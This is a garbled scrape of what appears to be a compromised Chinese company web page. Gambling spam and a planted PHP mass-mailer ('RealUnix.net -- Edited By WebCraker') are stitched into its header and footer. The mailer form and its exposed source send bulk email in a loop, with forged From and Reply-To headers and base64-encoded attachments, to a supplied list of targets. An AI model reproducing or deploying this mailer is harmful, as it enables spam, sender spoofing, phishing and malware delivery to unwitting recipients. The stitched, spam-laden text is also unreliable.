ABOUT
US

必威体育米盧郝海東談中國足毬夢:中國一定會再戰世

eMail ~> RealUnix.net -- Edited By WebCraker


Your Email:
Your Name:
Reply-To:
Attach File:
Subject:
Message Box : Email Target / Email Send To :

Plain HTML
Number to send:
Maximum script execution time(in seconds, 0 for no timelimit)
"; //Open the file attachment if any, and base64_encode it for email transport If ($file_name){ if (!file_exists($file)){ die("The file you are trying to upload couldn't be copied to the server"); } $content = fread(fopen($file,"r"),filesize($file)); $content = chunk_split(base64_encode($content)); $uid = strtoupper(md5(uniqid(time()))); $name = basename($file); } for($xx=0; $xx<$amount; $xx++){ for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "Sending mail to $to......."; flush(); $header = "From: $realname <$from> Reply-To: $replyto "; $header .= "MIME-Version: 1.0 "; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid "; If ($file_name) $header .= "--$uid "; $header .= "Content-Type: text/$contenttype "; $header .= "Content-Transfer-Encoding: 8bit "; $header .= "$message "; If ($file_name) $header .= "--$uid "; If ($file_name) $header .= "Content-Type: $file_type; name="$file_name" "; If ($file_name) $header .= "Content-Transfer-Encoding: base64 "; If ($file_name) $header .= "Content-Disposition: attachment; filename="$file_name" "; If ($file_name) $header .= "$content "; If ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "ok
"; flush(); } } } } ?>
CopyRight © 2015所有版權未經本公司合法授權任意複制 版權必究 / 瀏覽人數 : 48067    简体    網站地圖
LineID